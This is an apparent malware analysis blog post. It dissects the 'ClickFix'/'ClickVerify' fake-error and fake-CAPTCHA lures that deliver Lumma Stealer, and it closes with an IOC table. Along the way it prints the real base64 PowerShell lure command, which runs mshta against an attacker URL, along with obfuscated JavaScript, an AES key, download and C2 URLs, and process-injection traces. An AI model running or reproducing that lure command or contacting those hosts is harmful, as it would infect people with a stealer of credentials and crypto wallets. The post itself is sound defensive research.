Recently, we observed a high number of users been infected by Lumma Stealer. Upon investigating, we observed that the user been infected thru same vector; “Clickfix” infection chain. The attack chain begins with users being lured to visit seemingly legitimate but compromised websites. Upon visiting, victims are redirected to domains hosting fake popup windows that instruct them to paste a script into a PowerShell terminal.
Another variant that we observed is “ClickVerify”, where it utilize “Windows button + R” or Run function on Windows to execute the PowerShell command.
The “ClickFix”/”ClickVerify” infection chain represents a sophisticated form of social engineering, leveraging the appearance of authenticity to manipulate users into executing malicious scripts. These compromised websites are often carefully crafted to look genuine, increasing the likelihood of user compliance. Once the script is pasted and executed, it allows the malware to infiltrate the victim’s system, potentially leading to data theft, system compromise, or further propagation of the malware.
ClickFix/ClickVerify
User will be redirected/served with website displaying an error message indicating that the browser is encountering issues displaying the webpage. The site provides steps to fix the problem, which are designed to deceive users into executing malicious actions.
Example of ClickFix pop-up:
Figure 1 : ClickFix Pop-Up
Different with ClickFix, ClickVerify tricking user to verify the user as human by clicking the “I’m not a robot” button – similar to CAPTCHA function that normally used to fend of spammers/robots.
Example of ClickVerify pop-up:
Figure 2: ClickVerify Pop-Up
Figure 3: The “Verification Steps”
It directs the target user to perform the following steps:
- Click on the “Copy Fix” or “I’m not a robot” button.
- Press Windows button + R
- Press CTRL-V
- Press ENTER
If followed the instruction, it will looks something like this:
Figure 4: The “Fix”/“Verification” process
As we can see, the method is towards the same outcome; asking the user to paste and execute the given PowerShell command. But what is it? What does the PowerShell do? Let’s find out.
The copied PowerShell command as below:
powershell.exe -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAHYAZQByAGkAZgAuAGQAbAB2AGkAZABlAG8AcwBmAHIAZQAuAGMAbABpAGMAawAvADIAbgBkAGgAcwBvAHIAdQA=
Seems like it’s a Base64-encoded PowerSehll command. When we decode it, we’ll get another command line:
mshta hxxps://verif.dlvideosfre.click/2ndhsoru
The file “2ndhsoru” appear to be a loader/dropper for Lumma Stealer that we’ll dissect next.
The Loader
Triage
We’ll start by doing the basic triage; this is performed to know more about the file details and structure (either its packed, the compiler, language used, etc.).
Here we see that its compiler/written in C/C++ programming language. Also it detecting the file is packed with something – also an indicator that the file probably embedded with something else.
Figure 5: DIE Details
Since we observed this file executed by mshta, we’re guessing the file embedded with JS or VBS code.
Searching at strings found there are 2 JS <script> tagging:
Figure 6: JS <script> tags at strings output
To see what are the tag used for (the full code), right click > “Follow in” > “Hex”:
Figure 7: Follow in Hex menu
We’ll get view as follow:
Figure 8: <script> 1 usage
Figure 9: <script> 2 usage
It is confirmed that the <script> tagging was embedded in the file to be executed via mshta. Next, we’re going to extract those Jscript for further analysis.
Dumping JS Content
To dump both data/content, select all data starting from tag <script> down until </script>. Then, right click > Dump to file (or press Ctrl-D):
Figure 10: Dump to file
Or use this Python script:
import sys
import binascii
def extract_all_scripts(file_path):
# Read the binary file
with open(file_path, "rb") as file:
content = file.read()
# Convert binary content to hexadecimal
hex_content = binascii.hexlify(content).decode('utf-8')
# Define the hex values for <script> and </script> tags
script_start = "3c7363726970743e" # <script>
script_end = "3c2f7363726970743e" # </script>
start_pos = 0
scripts = []
while True:
# Find the start and end positions of the script tags
start_pos = hex_content.find(script_start, start_pos)
if start_pos == -1:
break
end_pos = hex_content.find(script_end, start_pos)
if end_pos == -1:
break
# Extract the content between the script tags, including the tags
end_pos += len(script_end)
extracted_hex = hex_content[start_pos:end_pos]
# Convert the extracted hex to ASCII
extracted_script = binascii.unhexlify(extracted_hex).decode('utf-8')
scripts.append(extracted_script)
# Move the start position forward to search for the next script tag
start_pos = end_pos
return scripts
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python hta-jscript_extractor.py <binary_file>")
print("Author: @mohdkhairulazam")
sys.exit(1)
file_path = sys.argv[1]
extracted_scripts = extract_all_scripts(file_path)
if extracted_scripts:
print("Extracted <script> content:\n")
for idx, script in enumerate(extracted_scripts):
print(f"[+] Script {idx + 1}:\n{script}\n")
else:
print("[!] No script tags found in the file.")
The output should look like this:
$ python hta-jscript_extractor.py 2ndhsoru
Extracted <script> content:
[+] Script 1:
<script>
twe=102;Ewr=117;ZFD=110;bwR=99;kfY=116;Nrn=105;ANN=111;Zho=32;nCT=65;eXo=85;ndB=81;VgE=40;sJb=106;QUt=73;rPm=41;nkV=123;MQZ=118;fYY=97;DTP=114;qRu=72;Yvi=100;PoT=61;PPz=34;TUh=59;Lks=103;TiS=119;CAR=48;xRH=60;OHE=46;cRM=108;pCs=101;hsZ=104;Lca=43;SXV=115;Wsv=83;sTn=109;fkl=67;xnQ=91;cad=93;aAg=45;Omx=57;meR=56;per=125;TIG=121;rjc=113;vbY=49;LWo=44;Qwh=55;bsO=50;bES=51;vkb=54;tDk=52;YkO=53;dCo=74;wMc=122;fFE=88;nhz=79;EOe=98;syq=82;var Kll = String.fromCharCode(twe,Ewr,ZFD,bwR,kfY,Nrn,ANN,ZFD,Zho,nCT,eXo,ndB,VgE,sJb,QUt,twe,rPm,nkV,MQZ,fYY,DTP,Zho,twe,qRu,<snip>
Ensure save both extracted script code for next step.
Figure 11: JS <script> 1
Figure 12: JS <script> 2
There are 59 variables were defined and String.fromCharCode method were used to converts Unicode values to characters.
The converted characters values then stored into var “K11” and called/executed in next JS script using “eval(K11)”.
Debugging JS
To debug the extracted JS code, we just simply use this website – https://onecompiler.com/javascript
Copy the variables and functions as below to the online compiler:
twe = 102;
Ewr = 117;
<snip>
EOe = 98;
syq = 82;
var Kll = String.fromCharCode(twe, Ewr,<snip>,rPm, TUh)
console.log(Kll);
In the extracted JS code, we can see that the var “Kll” is execute via “eval(Kll)”. So here, we change that into “console.log” (print to terminal) function.
Run the code above and we’ll get output as below:
Figure 13 : JS 1st Stage Debug Output
Seems like it has 2nd stage of JS obfuscation. Let’s debug it further.
Again, we’ll debug the code using same website.
Figure 14 : JS 2nd Stage Debug Code
We’re going to debug and figure out what are those 2 variable (“yqi” & “AdU”) represent/used for.
After the 2nd stage debug, we can see the output as below:
Figure 15 : JS 2nd Stage Debug Output
We can see that var “yqi” is actually a PowerShell command. The var “AdU” resolved as “WScript.Shell”.
The script has several eye-catching strings/functions – function on creating an AES decryptor (CreateDecryptor), a hardcoded key, and then a large (what seems like) a block of hexadecimal data.
There are also “System.Security.Cryptography.Aes” function – [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aes?view=net-8.0]; which suggest that the script is using AES cryptography for its encryption.
Next, we’re going to deobfuscate the PowerShell code.
Deobfuscate PowerShell
To deobfuscate the script, we’ll use this CyberChef recipe, key from “$VcUSD.Key” and content inside “fALRGP”:
AES_Decrypt({'option':'Hex','string':'49757A7671694556416B6452535A6D51'},{'option':'Hex','string':'0000000000000000000000000000000'},'CBC','Hex','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Generic_Code_Beautify()
Syntax_highlighter('powershell')
We’ll get output as follow:
Figure 16 : Final JS Debug Output
We can see that the PowerShell in obfuscated but there are some strings that can help for use to guess the script purpose.
In the code, we see that function “aDN” is used to translate an array of numbers into a string. Each number is manipulated by subtracting a constant value (Here’s its “6735”. It my different from other code) and converting the result into a character.
To what are those arrays represent for, we going to debug the code here – https://tio.run/#powershell
We basically re-using the function and converting the arrays to string.
Figure 17 : Deobfuscated PowerShell Code
After running the code above, we’ll get output as follow:
Deobfuscated 1: Net.WebClient
Deobfuscated 2: hxxps://verif.dlvideosfre.click/K1.zip
Deobfuscated 3: hxxps://verif.dlvideosfre.click/K2.zip
The script is used to download a file; named “K1.zip” and “K2.zip” from a “verif[.]dlvideosfre[.]click”, save it as a ZIP archive in the “Temp” directory, and then extract and execute the first file within the ZIP.
The final file appears to be downloading and executing malicious file known as Lumma Stealer.
“Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor “Shamel”, who goes by the alias “Lumma”. Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim’s machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent “TeslaBrowser/5.5″.” The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.” – https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
LummaC2/ Lumma Stealer
Now we know that the initial ClickFix/ClickVerify is delivering Lumma Stealer ton infect the user.
It’s usually coming from legitimate but compromised website –> serving popup window with instructions –> victim copies/pastes script into PowerShell window –> PowerShell script retrieves & runs Lumma Stealer malware
Based on DIE, it says the file is C/C++:
Figure 18 : DIE Output
And it uses Inno Setup Compiler:
Figure 19 : PEStudio Output
Since we know that the file was created using Inno Setup compiler, we can try to extract it using innoextract.
But when tried to extract it, its fails:
Figure 20 : Innoextract Output
Not sure it fails. Next, we try to extract manually using 7Zip.
The “version.txt” file inside folder “.rsrc” says “This installation was built with Inno Setup.”.
Figure 21 : version.txt data Content
From “.text” data section, found Golang unique build ID:
Go build ID: "I02Op2e6ZD52OJInVolF/WhWwGUgukvawTLHcS4qp/JRt-viKYTSxP5iPbw61-/YvGlO_o90qCaatDjB2in"
The Go Build ID is a hash of the filenames of the compiled files, plus the version of the compiler. Probably we can use this as an indicator to hunt/identify this specific build.
Also observed several interesting strings from “.data”:
go1.23.0
dep github.com/LazarenkoA/TelegramBot v0.0.0-20220401101655-313507d1df1c h1:vDzZ9tRe6yqExp/7b/qo5jrsVAjPIrakuV4OLGa3Wu0=
dep github.com/brianvoe/gofakeit v3.18.0+incompatible h1:wDOmHc9DLG4nRjUVVaxA+CEglKOW72Y5+4WNxUIkjM8=
It uses the latest GoLang latest release – Go 1.23.0. Also observed it uses these 2 external library/modules – “LazarenkoA/TelegramBot” – “Telegram bot interacts with 1C:Fresh, sends jenkins cf, cfe to it, plans and tracks node updates, builds various analytical graphs” and “brianvoe/gofakeit” – “Random fake data generator written in go.”
CAPA Analysis
CAPA output of the file (Lumma Stealer) shows several capabilities; anti-debugger/vm, has encrypt/decrypt capability (AES, RC4, 3DES), etc.
But the one of catches my eyes is that the file has “Allocate Thread Local Storage” capabilities together with create, suspend, resume, and terminate process. This may indicate that the file is leveraging Process Injection techniques and Process Injection: Thread Local Storage sub-techniques.
Figure 22 : CAPA Output
Dynamic Analysis
Based on Hybrid-Analysis report – https://hybrid-analysis.com/sample/7514d84ca507562a346896ff48a57d1d475f3cfed16e5e6abefd33a97c6323b9/66cd97d6bf76e2ab680977f4
Observed that after the execution, it spawned new process named “BitLockerToGo.exe”. Probably this process is used as sacrificial process to inject with malicious code.
Also in the report, it mentioned that the file tried to writes data to a remote process:
"VectirFree.exe" wrote 000011C0 bytes to a remote process "%WINDIR%\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" (Handle: 612)
"VectirFree.exe" wrote 00000008 bytes to a remote process "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" (Handle: 612)
"VectirFree.exe" wrote 00000004 bytes to a remote process "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" (Handle: 612)
"VectirFree.exe" wrote 0005A000 bytes to a remote process "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" (Handle: 612)
This also may explain why we saw output from CAPA saying that the file is using Windows API function that related to Process Injection.
The file also writes several files; mostly on users “Public” and “Libraries”:
"VectirFree.exe" writes file "%USERPROFILE%\libraries\edhdf.scif"
"VectirFree.exe" writes file "C:\Users\%USERNAME%\libraries\pmibe.scif"
"VectirFree.exe" writes file "%public%\libraries\edhdf.scif"
"VectirFree.exe" writes file "%public%\libraries\pmibe.scif"
IOC
Here are the IOCs and VT report from this analysis:
IOC | Type |
ch3.dlvideosfre.click | Domain |
verif.dlvideosfre.click | Domain |
hxxp://ch3.dlvideosfre.click/human-verify-system.html | URL |
hxxps://verif.dlvideosfre.click/2ndhsoru | URL |
hxxps://verif.dlvideosfre.click/K1.zip | URL |
hxxps://verif.dlvideosfre.click/K2.zip | URL |
celebratioopz.shop | C2 |
hxxps://futureddospzmvq.shop/api | C2 |
hxxps://writerospzm.shop/api | C2 |
File Name | SHA256 Hash | VT Report |
2ndhsoru | 7d6ee310f1cd4512d140c94a95f0db4e76a7171c6a65f5c483e7f8a08f7efe78 | [1] |
K1.zip | ca5c90bb87d4cb3e008cf85c2af5ef8b198546586b6b3c50cd00d3e02514e8b8 | [2] |
K2.zip | 7fbbbfb9a886e43756b705317d3dff3bc0b1698007512d4c42d9df9c955780ce | [3] |
VectirFree.exe | 7514d84ca507562a346896ff48a57d1d475f3cfed16e5e6abefd33a97c6323b9 | [4] |
VT Report Link:
[1] https://www.virustotal.com/gui/file/7d6ee310f1cd4512d140c94a95f0db4e76a7171c6a65f5c483e7f8a08f7efe78
[2] https://www.virustotal.com/gui/file/ca5c90bb87d4cb3e008cf85c2af5ef8b198546586b6b3c50cd00d3e02514e8b8
[3] https://www.virustotal.com/gui/file/7fbbbfb9a886e43756b705317d3dff3bc0b1698007512d4c42d9df9c955780ce
[4] https://www.virustotal.com/gui/file/7514d84ca507562a346896ff48a57d1d475f3cfed16e5e6abefd33a97c6323b9/detection